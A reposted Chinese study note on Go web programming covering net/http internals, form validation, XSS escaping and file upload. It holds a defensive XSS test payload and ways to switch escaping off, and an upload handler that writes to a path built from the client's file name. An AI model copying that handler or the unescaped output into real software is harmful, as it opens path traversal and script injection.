當前位置：首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Go语言web开发学习

發布時間：2024/8/1 编程问答 46 豆豆

生活随笔收集整理的這篇文章主要介紹了 Go语言web开发学习小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[TOC]

Go語言web開發學習

寫的比較早, 當時的理解可能不到位,有不對的地方,請評論告知.

主要是看的<go web編程>這本書

項目代碼在這里

部分內容和我的另一個筆記<Golang學習筆記>有點重合,就當復習了.

基本上沒有什么難度,主要內容就是些WEB方面老生常談的東西:

http協議
web服務
表單處理
數據庫操作
session處理
文本文件處理
安全和加密處理
國際化和本地化處理
錯誤處理,調試和測試
項目部署和項目維護
設計一個簡單的web框架

web基礎

http協議簡單介紹

這個東西沒什么好說的,不了解話可以看一下<http權威指南>這本書,這里就記錄幾個常用的說明.

URL和DNS解析

scheme://host[:port#]/path/.../[?query-string][#anchor]

scheme 指定請求協議,例如http,https,ftp等
host http服務器的IP地址或域名
port http服務器的端口號,如果用的是80端口可以省略不寫
path 訪問資源的路徑
query-string 發送給http服務器的數據
anchor 錨

書中寫的更詳細的DNS解析的過程如下，這個過程有助于我們理解DNS的工作模式

在瀏覽器中輸入www.qq.com域名，操作系統會先檢查自己本地的hosts文件是否有這個網址映射關系，如果有，就先調用這個IP地址映射，完成域名解析。

如果hosts里沒有這個域名的映射，則查找本地DNS解析器緩存，是否有這個網址映射關系，如果有，直接返回，完成域名解析。

如果hosts與本地DNS解析器緩存都沒有相應的網址映射關系，首先會找TCP/IP參數中設置的首選DNS 服務器，在此我們叫它本地DNS服務器，此服務器收到查詢時，如果要查詢的域名，包含在本地配置區域資源中，則返回解析結果給客戶機，完成域名解析，此解析具有權威性。

如果要查詢的域名，不由本地DNS服務器區域解析，但該服務器已緩存了此網址映射關系，則調用這個IP地址映射，完成域名解析，此解析不具有權威性。

如果本地DNS服務器本地區域文件與緩存解析都失效，則根據本地DNS服務器的設置（是否設置轉發器）進行查詢，如果未用轉發模式，本地DNS就把請求發至 “根DNS服務器”，“根DNS服務器”收到請求后會判斷這個域名(.com)是誰來授權管理，并會返回一個負責該頂級域名服務器的一個IP。本地 DNS服務器收到IP信息后，將會聯系負責.com域的這臺服務器。這臺負責.com域的服務器收到請求后，如果自己無法解析，它就會找一個管理.com域的下一級DNS服務器地址(qq.com)給本地DNS服務器。當本地DNS服務器收到這個地址后，就會找qq.com域服務器，重復上面的動作，進行查詢，直至找到www.qq.com主機。

如果用的是轉發模式，此DNS服務器就會把請求轉發至上一級DNS服務器，由上一級服務器進行解析，上一級服務器如果不能解析，或找根DNS或把轉請求轉至上上級，以此循環。不管是本地DNS服務器用是是轉發，還是根提示，最后都是把結果返回給本地DNS服務器，由此DNS服務器再返回給客戶機。

http請求包(瀏覽器信息)

構, Request包分為3部分，第一部分叫Request line（請求行）, 第二部分叫 Request header（請求頭）,第三部分是body（主體）。header和body之間有個空行，請求包的例子所示:

GET /domains/example/ HTTP/1.1 //請求行: 請求方法請求URI HTTP協議/協議版本 Host：www.iana.org //服務端的主機名 User-Agent：Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/2 2.0.1229.94 Safari/537.4 //瀏覽器信息 Accept：text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客戶端能接收的mine Accept-Encoding：gzip,deflate,sdch //是否支持流壓縮 Accept-Charset：UTF-8,*;q=0.5 //客戶端字符編碼集 //空行,用于分割請求頭和消息體 //消息體,請求資源參數,例如POST傳遞的參數

Http響應包（服務器信息

Response包中的第一行叫做狀態行，由HTTP協議版本號，狀態碼，狀態消息三部分組成。

HTTP/1.1 200 OK //狀態行 Server: nginx/1.0.8 //服務器使用的WEB軟件名及版本 Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //發送時間 Content-Type: text/html //服務器發送信息的類型 Transfer-Encoding: chunked //表示發送HTTP包是分段發的 Connection: keep-alive //保持連接狀態 Content-Length: 90 //主體內容長度 //空行用來分割消息頭和主體 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... //消息體

狀態碼用來告訴HTTP客戶端,HTTP服務器是否產生了預期的Response。

HTTP/1.1協議中定義了5類狀態碼，狀態碼由三位數字組成，第一個數字定義了響應的類別

1XX 提示信息 - 表示請求已被成功接收，繼續處理
2XX 成功 - 表示請求已被成功接收，理解，接受
3XX 重定向 - 要完成請求必須進行更進一步的處理
4XX 客戶端錯誤 - 請求有語法錯誤或請求無法實現
5XX 服務器端錯誤 - 服務器未能實現合法的請求

http協議是無狀態的和Connection: keep-alive的區別

無狀態是指協議對于事務處理沒有記憶能力，服務器不知道客戶端是什么狀態。從另一方面講，打開一個服務器上的網頁和你之前打開這個服務器上的網頁之間沒有任何聯系。
HTTP是一個無狀態的面向連接的協議，無狀態不代表HTTP不能保持TCP連接，更不能代表HTTP使用的是UDP協議（面對無連接）。
從HTTP/1.1起，默認都開啟了Keep-Alive保持連接特性，簡單地說，當一個網頁打開完成后，客戶端和服務器之間用于傳輸HTTP數據的TCP連接不會關閉，如果客戶端再次訪問這個服務器上的網頁，會繼續使用這一條已經建立的TCP連接。
Keep-Alive不會永久保持連接，它有一個保持時間，可以在不同服務器軟件（如Apache）中設置這個時間。

go搭建一個web服務器(用net/http包)

請求URL: http://localhost:999/?name=nihao&age=20

package mainimport ("fmt""github.com/gpmgo/gopm/modules/log""net/http""strings" )//這兩個參數w和r,不用刻意追求為什么這么寫,因為外面的http.HandleFunc需要傳入的一個回調函數 func sayHelloName(w http.ResponseWriter, r *http.Request) {r.ParseForm() //解析參數,默認是不會解析的,如果不調用該函數解析的話,后面的參數都會拿不到fmt.Println("path: ", r.URL.Path) //打印URL中的pathfmt.Println("scheme: ", r.URL.Scheme) //打印http請求中的協議部分fmt.Println(r.Form["name"]) //打印get參數中的name參數for k, v := range r.Form { //遍歷get參數表單,打印表單中的內容fmt.Println("query-string-key: ", k)fmt.Println("query-string-val: ", strings.Join(v, ""))}fmt.Fprintf(w, "hellow fucker") //寫入到w的時輸出到客戶端 }func main() {http.HandleFunc("/", sayHelloName) //設置訪問的路由為/,并且調用回調函數err := http.ListenAndServe(":999", nil) //設置監聽的端口if err != nil {log.Fatal("ListenAndService", err)} }

Go的web運行機制

語言服務器概念

Request: 用戶請求信息,用來解析用戶的請求信息,包括post,get,cookie,URL等信息
Response: 服務器需要反饋給客戶端的信息
Conn: 用戶的每次請求鏈接
Handler: 處理請求和生成返回信息的處理邏輯

go的http運行機制

下圖是,go實現web服務的工作模式的流程圖

上圖http包執行流程

創建Listen SOcket,監聽指定的端口,等待客戶端處理請求

Listen SOcket接收客戶端請求,得到client SOcket,然后通過Client SOcket與客戶端通信

處理客戶端的請求,首先從client socket中讀取http請求的協議頭,如果是post方法,還可能要讀取客戶端提交的數據,然后交給相應的Handler處理請求,Handler處理完畢準備好客戶端準備的數據,通過client socket寫給客戶端

這整個的過程里面我們只要知道下面三個問題,就知道go如何讓web運行起來了

如何監聽端口
如何接收客戶端請求
如何分配handler

前面我們知道go是通過一個函數ListenAndServer來處理這件事的,這個底層是這樣處理的:

初始化一個server對象,然后調用了net.Listen("tcp", addr),也就是底層用TCP協議搭建一個服務,然后監控我們設置的端口

下面代碼來自go的http包的源碼,通過下面的代碼我們可以看到整個http處理過程

//上面代碼執行監控端口之后，調用了srv.Serve(net.Listener)函數,該函數專門用來處理客戶端的請求信息 func (srv *Server) Serve(l net.Listener) error {defer l.Close()var tempDelay time.Duration // how long to sleep on accept failure//這里起了一個死循環for {//通過Listen來接收請求rw, e := l.Accept()if e != nil {if ne, ok := e.(net.Error); ok && ne.Temporary() {if tempDelay == 0 {tempDelay = 5 * time.Millisecond} else {tempDelay *= 2}if max := 1 * time.Second; tempDelay > max {tempDelay = max}log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)time.Sleep(tempDelay)continue}return e}tempDelay = 0//創建一個Connc, err := srv.newConn(rw)if err != nil {continue}//在這個死循環中啟動goroutine,吧這個請求的數據當做參數傳給Conn//這就是高并發的提現了,用戶的每一次請求都是在一個新的goroutine去服務,相互不影響go c.serve()} }

具體如何分配到相應的函數來處理請求:

conn首先會解析request:c.readRequest()然后獲取相應的handler:handler :=c.server.Handler,也就是我們剛才在調用函數ListenAndServer的時候的第二個參數.我們在前面的例子中傳遞的時nil.那么默認獲取handler=DefaultServeMux.

這個變量就是一個路由,他用來匹配URL跳轉到其相應的handle函數,之前我們調用的代碼里面第一句http.HandleFunc("/", sayHelloName)就用過.

這個函數注冊了請求/的路由,當請求URI為/,路由就會跳轉到函數sayHelloName(),DefaultServeMux會調用ServeHTTP方法同時把sayHelloName()作為回調傳入進去,這個方法內部就是調用的傳入進來的函數sayHelloName(),最后通過寫入response的信息反饋到客戶端

詳細的流程圖如下

go的http包詳解

這里可能會趕緊自己看不懂,看不懂沒關系, 我已開始也開不動,學到頭再回過來看就趕緊很簡單了.

這里我們詳細解刨一下http包,看他是怎么實現整個過程的

go的http有兩個核心功能: Conn, ServeMux

Conn的goroutine

和我們一般寫的http服務有所不同,go為了實現高并發和高性能,采用goroutine來處理Conn的讀寫事件

這樣每個請求都能保持獨立,相互不會阻塞,可以高效的影響網絡事件.這就是go高效的保證

Go在等待客戶端請求里面是這么寫的:

c, err := srv.newConn(rw) if err != nil{continue } go c.serve()

可以看到,客戶端每次請求,都會創建一個Conn,這個Conn里面保存了該次請求的信息,

然后再傳遞到對應的handler,該handler中便可以讀寫到相應的header信息,保證了每個請求的獨立性.

ServeMux的自定義

淺說conn.server的時候,其實內部是調用了http包默認的路由,通過路由把本次請求的信息傳遞到了后端的處理函數

路由機構如下:

type ServeMux struct{mu sync.RWMutex //鎖,由于請求設計到并發處理,因此這里需要一個鎖機制m map[string]muxEntry //路由規則,一個string對應一個mux實體,這個string就是注冊的路由表達式hosts bool //是否在任意的規則中帶有host信息 }

這里是muxEntry

type muxEntry struct{explicit bool //是否精準匹配h Handler //這個路由表達式對應哪個handle人pattern string //匹配字符 }

這里是handler的定義

type Handler interface{ServeHTTP(ResponseWriter, *Request) //路由實現器 }

Handler是一個接口,但是前面說的sayHelloName()函數并沒有實現ServeHTTP這個接口,也能添加,是因為在http包里面還定義了一個類型HanderFunc,我們定義的函數sayHelloName就是這個HandlerFunc調用之后的結果,這個類型默認就實現了ServeHTTP這個接口,即我們調用了HandlerFUnc(f),強制類型轉換f成為HandlerFunc()類型,這樣f就擁有了ServeHTTP方法.

type HandlerFunc func(ResponseWriter, *Request)//ServeHTTP calls f(w,r) func(f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request){f(w, r) }

默認路由實現了ServeHTTP:

func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request){if r.RequestURI == "*"{//關閉連接w.Header().Set("Connection","close")w.WriterHeader(StatusBadRequest)return}h, _:=mux.Handler(r)h.ServeHTTP(w, r) }

如上所示,路由接收到請求之后,如果是*就關閉連接,否則調用mux.Handler(r)返回對應設置路由的處理Handler,然后執行h.ServeHTTP(w,r)

也就是調用對應路由的Handler的ServerHTTP接口,給mux.Handler(r)來處理,他會根據用戶請求的URL和路由里面存儲的map做匹配,當匹配到之后返回存儲的Handler,調用這個Handler的ServeHTTP接口就可以執行到相應的函數

func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) {if r.Method != "CONNECT" {if p := cleanPath(r.URL.Path); p != r.URL.Path {_, pattern = mux.handler(r.Host, p)return RedirectHandler(p, StatusMovedPermanently), pattern}} return mux.handler(r.Host, r.URL.Path) }func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) {mux.mu.RLock()defer mux.mu.RUnlock()// Host-specific pattern takes precedence over generic onesif mux.hosts {h, pattern = mux.match(host + path)}if h == nil {h, pattern = mux.match(path)}if h == nil {h, pattern = NotFoundHandler(), ""}return }

通過上面的介紹,基本上能了解了路由過程,Go其實是支持實現的路由ListenAndServe的第二個參數就是用以配置外部路由器的,他是一個Handler接口,即外部路由只要實現了Handler接口就可以,我們可以在自己實現的路由器的ServeHTTP里面實現自定義路由功能

如下,我們自己實現了一個簡單的路由器

package mainimport ("fmt""net/http" )//自定義類型 type MyMux struct { }//路由匹配方法,作為MyMux的方法,主要在下面傳入函數中,覆蓋系統的ServeHTTP用 func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {if r.URL.Path == "/" {SayHelloName(w, r)return}http.NotFound(w, r)return }//打印一串字符串 func SayHelloName(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "Hello myroute") }func main() {//聲明該自定義類型,同時取到該類型的內存地址mux := &MyMux{}//監聽端口//將該類型,作為回調函數放入到方法中,相應的MyMux類型的ServeHTTP方法也會被傳入進去,或者說是在http.ListenAndServe調用ServeHTTP方法時被調用//因為http類型里面也有一個ServeHTTP方法, 上面我們自己寫的ServeHTTP是為了,在這類傳入進去,覆蓋系統的ServeHTTP方法http.ListenAndServe(":999", mux) }

Go代碼的執行流程

通過對http包的分析之后,梳理一下代碼執行過程

首先調用了Http.HandleFunc 按順序做了3件事

調用DefaultServeMux的HandleFunc

調用了DefaultServeMux的Handle

向DefaultServeMUX的map[string]muxEntry中增加對應的handler和路由規則

其次調用http.ListenAndServe(":999",nil) 按順序做了幾件事

實例化server

調用Server的ListenAndServe()

調用net.Listen("tcp", addr)監聽端口

啟動一個for循環,在循環總Accept請求

對每個請求實例化一個Conn,并且開啟一個goroutine為這個請求進行服務 go c.serve()

讀取每個請求的內容w,err := c.readRequest()

判斷Handler是否為空,如果沒設置handler(我們上面的例子就沒設置handler),handler就設置為DefaultServeMux

調用handler的ServeHttp

在這個例子中,下面進入到DefaultServeMUX.ServeHttp

根據request選擇handler,并且進入到這個handler的ServeHTTP中mux.handler(r).ServeHttp(w,r)

選擇handler:

A 判斷是否有路由能滿足這個request(循環遍歷ServeMux的muxEntry) B 如果有路由滿足,則調用該路由的handler的ServeHTTP c 如果沒有路由滿足,則調用NotFoundHandler的ServerHTTP

表單處理

沒錯這里說的表單指的就是HTML的<form></form>表單

處理表單提交的數據

靜態頁面,記得要放在項目的根目錄

go的web服務

package mainimport ("fmt""html/template""log""net/http""strings" )func sayHelloName(w http.ResponseWriter, r *http.Request) {r.ParseForm() //解析URL傳遞的參數,對于POST則解析請求包的主圖,request body//注意,如果沒有調用parseform,方法,下面將無法獲取表單數據fmt.Println(r.Form) //打印提交的數據, r.Form里面包含了所有請求的參數fmt.Println("path", r.URL.Path)fmt.Println("scheme", r.URL.Scheme)fmt.Println(r.Form["name"])for k, v := range r.Form {fmt.Println("key:", k)fmt.Println("value", strings.Join(v, ""))}//將數據打印到客戶端頁面fmt.Fprintf(w, "Hellow fucker") }func login(w http.ResponseWriter, r *http.Request) {fmt.Println("method", r.Method) //獲取請求的方法//判斷是否是GET請求if r.Method == "GET" {//這個應該是讀取靜態頁面t, err := template.ParseFiles("login.gtpl")fmt.Println(err)//打印頁面內容log.Println(t.Execute(w, nil))} else {r.ParseForm() //解析URL傳遞的參數,對于POST則解析請求包的主圖,request body//請求的時登錄數據, 所以執行登錄的邏輯判斷//r.Form里面包含了所有請求的參數fmt.Println("username:", r.Form["username"])fmt.Println("password:", r.Form["password"])} }func main() {//調用設置路由,放置回調函數http.HandleFunc("/", sayHelloName) //設置訪問的路由http.HandleFunc("/login", login) //設置訪問的路由err := http.ListenAndServe(":999", nil) //設置監聽的端口if err != nil {log.Fatal("listenAndServer:", err)} }

上面的代碼,可看到,獲取請求方式是通過r.Method來完成的,這是個字符串類型的變量,返回GET,POST,PUT等method信息

login函數中我們根據r.Method來判斷是顯示登錄頁面還是處理登錄邏輯.用GET方式請求時顯示登錄界面,其他方式請求時則處理登錄邏輯.

r.Form里面包含了所有請求的參數，比如URL中query-string、POST的數據、PUT的數據，所以當你在URL中的query-string字段和POST沖突時，會保存成一個slice，里面存儲了多個值，Go官方文檔中說在接下來的版本里面將會把POST、GET這些數據分離開來。

request.Form是一個url.Values類型，里面存儲的是對應的類似key=value的信息，下面展示了可以對form數據進行的一些操作:

v := url.Values{} v.Set("name", "Ava") v.Add("friend", "Jess") v.Add("friend", "Sarah") v.Add("friend", "Zoe") // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" fmt.Println(v.Get("name")) fmt.Println(v.Get("friend")) fmt.Println(v["friend"])

Tips: Request本身也提供了FormValue()函數來獲取用戶提交的參數。如r.Form["username"]也可寫成r.FormValue("username")。調用r.FormValue時會自動調用r.ParseForm，所以不必提前調用。r.FormValue只會返回同名參數中的第一個，若參數不存在則返回空字符串。

驗證表單提交的數據

必填字段

通過len()函數獲取調教數據的元素長度來判斷

r.Form對不同類型的表單元素的留空有不同的處理方式,對空文本框,空文本區域以及上傳文件,元素的值為空值

而如果是未選中的復選框和單選按鈕,則根本不會再r.Form中產生相應的條目.所以我們要通過r.Form.Get()來獲取值.因為如果字段不存在,通過該方式獲取的時空值

但是通過r.Form.Get()只能獲取單個的值,如果是map的值,則必須通過上面的方式來獲取

if len(r.Form["username"][0] ==0){//TODO }

數字

如果我們要判斷正整數, 那么我們要先轉化成int類型,然后在處理

getint,err := strconv.Atoi(r.Form.Get("age")) if err != nil{//轉換失敗 } //轉換成功,判斷數字大小等操作 if getint >100{//todo }

使用正則判斷是不是數字

Go實現的正則是RE2，所有的字符都是UTF-8編碼的。

//如果正則未匹配到0-9的數字,m會返回一個false if m, _:= regexp.MatchString("^[0-9]+$", From.Get("age")); !m{return false }

中文

對于中文可以使用unicode包提供的funcIs(rangeTab *RangeTable, r rune) bool來驗證,也可以使用正則方式來驗證,這里使用最簡單的整的表達式

if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m {return false }

英文

if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {return false }

郵箱地址

if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {fmt.Println("no") }else{fmt.Println("yes") }

手機號

if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {return false }

下拉菜單

準備一點select元素

<select name="fruit"> <option value="apple">apple</option> <option value="pear">pear</option> <option value="banana">banana</option> </select>

驗證方式

//定義一個事先準備好的map,對應下拉菜單 slice:=[]string{"apple","pear","banana"} //獲取調教到的下拉菜單數據 v := r.Form.Get("fruit") //遍歷菜單,和事先定義好的map,做對比 for _, item := range slice {if item == v {return true} }return false

單選按鈕

準備兩個單元框

<input type="radio" name="gender" value="1">男 <input type="radio" name="gender" value="2">女

驗證方式

//定義一個事先準備好的slice,對應下拉菜單 slice:=[]string{"1","2"} //和驗證下拉一樣,遍歷事先準備好的數組,和提交內容,一一做對比 for _, v := range slice {if v == r.Form.Get("gender") {return true} } return false

復選框

準備復選框

<input type="checkbox" name="interest" value="football">足球 <input type="checkbox" name="interest" value="basketball">籃球 <input type="checkbox" name="interest" value="tennis">網球

驗證復選框,比較繁瑣

func Slice_diff(slice1, slice2 []interface{}) (diffslice []interface{}) {for _, v := range slice1 {if !In_slice(v, slice2) {diffslice = append(diffslice, v)}}return }func In_slice(val interface{}, slice []interface{}) bool {for _, v := range slice {if v == val {return true}}return false }//驗證復選框 func validate(){//準備一個sliceslice:=[]string{"football","basketball","tennis"}//通過內置函數,直接對提交的數據和事先定義的slice做diff即可a:=Slice_diff(r.Form["interest"],slice)if a == nil{return true}return false }

日期和時間

通過使用go的time包來做處理

//例如，用戶在日程表中安排8月份的第45天開會 //一般我們都是用時間戳來做處理,只有輸出展示的時候才用時間格式 // //time.November 為11月,這里正常的輸出應該是2009-11-10 23:00:00,但是下面.local()了一下,獲取的時當地時間 t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) //折算成當地的時間,獲取的時當地時間 fmt.Printf("Go launched at %s\n", t.Local())

身份證號碼

//驗證15位身份證，15位的是全部數字 if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m {return false }//驗證18位身份證，18位前17位為數字，最后一位是校驗位，可能為數字或字符X。 if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m {return false }

簡單的驗證案例

package mainimport ("fmt""regexp""time" )//日期時間 func ValidateDate() {//func Date(year int, month Month, day, hour, min, sec, nsec int, loc *Location) Time {} // 返回指定時間//time.November 為11月,這里正常的輸出應該是2009-11-10 23:00:00,但是下面.local()了一下,獲取的時當地時間t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)//折算成當地的時間,獲取的時當地時間fmt.Printf(" %s\n", t.Local()) }//身份證 func ValidateIdCard(idCard string) bool {//驗證15位身份證，15位的是全部數字//if m, _ := regexp.MatchString(`^(\d{15})$`, idCard); !m {// return false//}//驗證18位身份證，18位前17位為數字，最后一位是校驗位，可能為數字或字符X。if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, idCard); !m {return false}return true }//電子郵件地址 func validateEmail(email string) bool {if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, email); !m {return false} else {return true} }func main() {ValidateDate()println(ValidateIdCard("111111111111111111"))println(validateEmail("nihao@nihao.com"))}

預防XSS跨站腳本攻擊

對于XSS的防護主要是兩個方法

驗證所有輸入,檢測攻擊數據.
對輸出信息進行適當的處理,防止被注入的腳本在瀏覽器運行

在GO里面,有現成的包可以做處理html/template包里面的幾個函數可以幫我們轉義

經過我的測試發現,下面的三個函數都是用來過濾HTML標簽的

func HTMLEscape(w io.Writer, b []type)//把b轉義之后寫到w
func HTMLEscapeString(s string) string //轉義s之后返回結果字符串
func HTMLEscaper(args ...interface{}) string //支持多個參數一起轉義,返回結果字符串

轉義案例

如果我們輸入的username是<script>alert()</script>,那么我們可以在瀏覽器上面看到結果正常打印在頁面上,而不是運行一個彈窗出來

//這些代碼需要在,HTTP服務中運行,尤其是下面template.HTMLEscape的w變量就是http.ResponseWriter //講轉義結果,保存到服務器端 fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))//講轉義結果,輸出到客戶端 template.HTMLEscape(w, []byte(r.Form.Get("username")))//頁面輸出結果 //<script>alert(111)</script>

代碼案例

func validateXss(w http.ResponseWriter,r *http.Request) {var xssStr string = "<script>alert(111)</script>"fmt.Println("username:", template.HTMLEscapeString(xssStr)) //輸出到服務器端fmt.Println("password:", template.HTMLEscapeString(xssStr))template.HTMLEscape(w, []byte(xssStr)) //直接輸出到客戶端瀏覽器頁面//頁面輸出結果 //<script>alert(111)</script> }func main() {//ValidateDate()//println(ValidateIdCard("111111111111111111"))//println(validateEmail("nihao@nihao.com"))//調用設置路由,放置回調函數http.HandleFunc("/", validateXss) //設置訪問的路由err := http.ListenAndServe(":999", nil) //設置監聽的端口if err != nil {log.Fatal("listenAndServer:", err)} }

正常顯示HTML標簽 主要使用 template模板

常用方法

// 初始化一個template對象 type Template struct {Tree *parse.Tree } // Must函數會在Parse返回err不為nil時，調用panic，不需要初始化后再調用Parse方法去檢測 func Must(t *Template,err error) *Template // New函數用來創建一個指定的HTML模板 func New(name string) *Template// ParseFiles函數用來從一個指定的文件中創建并解析模板 func ParseFiles(filenames ...string) (*Template, error)// ParseGlob函數從指定的匹配文件中創建并解析模板，必須得至少匹配一個文件 func ParseGlob(pattern string) (*Template, error)// Template結構體對象常用的幾個方法// 使用New()函數創建的模板需要指定模板內容 func (t *Template) Parse(text string) (*Template, error)// Delims()方法用來指定分隔符來分割字符串，隨后會使用Parse, ParseFiles, or ParseGlob方法進行模板內容解析 func (t *Template) Delims(left, right string) *Template// Execute()方法用來把一個模板解析到指定的數據對象data中，并且寫入到輸出wr中。如果有任何錯誤，就like停止，但如果是并行操作的話，有一些數據已經被寫入了。因此，使用該方法一定要注意并發安全性 func (t *Template) Execute(wr io.Writer, data interface{}) error//同上,但是使用名為name的t關聯的模板產生輸出。 //因為使用 t.Execute() 無法找到要使用哪個加載過的模板進行數據融合，而只有New()創建時才會指定一個 t.Execute() 執行時默認 func (t *Template) ExecuteTemplate(wr io.Writer, name string, data interface{}) error

html/template包幫我們過濾了HTML標簽,如果想要HTML標簽正常顯示<script>alert(111)</script>,可以使用text/template

例如:

t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) if err != nil {panic(err) } //這里如果要接收變量的的話可以通過緩沖區的形式,或者把out改成os.Stdout var out = new(bytes.Buffer) //改成這樣也可以輸入到控制臺,err = t.ExecuteTemplate(os.Stdout, err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>") println(out.String()) //期待輸出結果 //Hello, <script>alert('you have been pwned')</script>! //現實輸出結果 //Hello, <script>alert('you have been pwned')</script>! //雖然書上的這個案例不對,但是,,,找到了思路

或者使用template.HTML類型

import "html/template" ... t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>")) //期待輸出結果 //Hello, <script>alert('you have been pwned')</script>! //現實輸出結果 //Hello, <script>alert('you have been pwned')</script>! //雖然書上的這個案例不對,但是,,,找到了思路

轉換成template.HTML后，變量的內容也不會被轉義

轉義的例子：

import "html/template"t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) if err != nil {panic(err) } err = t.ExecuteTemplate(os.Stdout, "T", "<script>alert('you have been pwned')</script>") //期待結果Hello, <script>alert('you have been pwned')</script>!//這個輸出的記過是對的.... //結果Hello, <script>alert('you have been pwned')</script>!

防止多次遞交表單

有時候網絡不太好的情況下,用戶可能會在提交時,多次點擊提交按鈕,導致表單重復提交多次.

這會造成,重復的內容保存了多次.對用戶而言是一個不好的體驗,對服務器而言多了很多無效數據和請求.

解決方案是在表單中添加一個帶有唯一值的隱藏字段。在驗證表單時，先檢查帶有該唯一值的表單是否已經遞交過了。如果是，拒絕再次遞交；如果不是，則處理表單進行邏輯處理。另外，如果是采用了Ajax模式遞交表單的話，當表單遞交后，通過javascript來禁用表單的遞交按鈕。

html代碼

<input type="checkbox" name="interest" value="football">足球 <input type="checkbox" name="interest" value="basketball">籃球 <input type="checkbox" name="interest" value="tennis">網球用戶名:<input type="text" name="username"> 密碼:<input type="password" name="password"> <input type="hidden" name="token" value="{{.}}"> <input type="submit" value="登陸">

我們在模版里面增加了一個隱藏字段token，這個值我們通過MD5(時間戳)來獲取唯一值，然后我們把這個值存儲到服務器端(session來控制，我們將在第六章講解如何保存)，以方便表單提交時比對判定。

我們看到token已經有輸出值，你可以不斷的刷新，可以看到這個值在不斷的變化。這樣就保證了每次顯示form表單的時候都是唯一的，用戶遞交的表單保持了唯一性

func login(w http.ResponseWriter, r *http.Request) {fmt.Println("method:", r.Method) //獲取請求的方法if r.Method == "GET" {crutime := time.Now().Unix()h := md5.New()io.WriteString(h, strconv.FormatInt(crutime, 10))token := fmt.Sprintf("%x", h.Sum(nil))t, _ := template.ParseFiles("login.gtpl")t.Execute(w, token)} else {//請求的是登陸數據，那么執行登陸的邏輯判斷r.ParseForm()token := r.Form.Get("token")if token != "" {//驗證token的合法性} else {//不存在token報錯}fmt.Println("username length:", len(r.Form["username"][0]))fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //輸出到服務器端fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w, []byte(r.Form.Get("username"))) //輸出到客戶端} }

文件上傳

要通過form表單進行上傳,別忘了設置enctype屬性

enctype屬性

application/x-www-form-urlencoded 表示在發送前編碼所有字符（默認）
multipart/form-data 不對字符編碼。在使用包含文件上傳控件的表單時，必須使用該值。
text/plain 空格轉換為 "+" 加號，但不對特殊字符編碼。

準備HTML表單

在服務端,我們增加一個http.HandleFuc和一個upload函數

http.HandleFunc("/upload", upload)// 處理/upload 邏輯 func upload(w http.ResponseWriter, r *http.Request) {fmt.Println("method:", r.Method) //獲取請求的方法//判斷請求方式if r.Method == "GET" {//get請求,獲取模板展示//獲取當前時間戳crutime := time.Now().Unix()h := md5.New()io.WriteString(h, strconv.FormatInt(crutime, 10))token := fmt.Sprintf("%x", h.Sum(nil))//這個應該是讀取靜態頁面t, _ := template.ParseFiles("upload.gtpl")//打印頁面內容,同時輸出變量到頁面t.Execute(w, token)} else {//其他請求,代表提交數據//調用r.ParseMultipartForm,里面的參數maxMemory,調用ParsemultipartForm之后,上傳的文件存儲在maxMemory大小的內存里,如果文件大小超過了maxMemory,那么剩下的部分將存儲在系統的臨時文件里,我們通過r.FormFile獲取上面的文件句柄,然后利用使用io.Copy來存儲文件//獲取其他非文件字段信息的時候就不需要調用r.ParseForm，因為在需要的時候Go自動會去調用。而且ParseMultipartForm調用一次之后，后面再次調用不會再有效果。r.ParseMultipartForm(32 << 20)//通過上傳的文件名,獲取上傳的文件file, handler, err := r.FormFile("uploadfile")if err != nil {fmt.Println(err)return}defer file.Close()fmt.Fprintf(w, "%v", handler.Header)//保存文件,同時賦予文件666的權限//openFile和open的地方在于open只能用來讀取文件,handler.Filename獲取文件名//os.O_WRONLY | os.O_CREATE | O_EXCL 【如果已經存在，則失敗】//os.O_WRONLY | os.O_CREATE 【如果已經存在，會覆蓋寫，不會清空原來的文件，而是從頭直接覆蓋寫】//os.O_WRONLY | os.O_CREATE | os.O_APPEND 【如果已經存在，則在尾部添加寫】//這里這個handler.Filename,會獲取到包括路徑在內的文件名,所以我改成了時間f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此處假設當前目錄下已存在test目錄if err != nil {fmt.Println(err)return}defer f.Close()io.Copy(f, file)} }

通過上面的實例我們可以看到,上傳文件主要三部處理

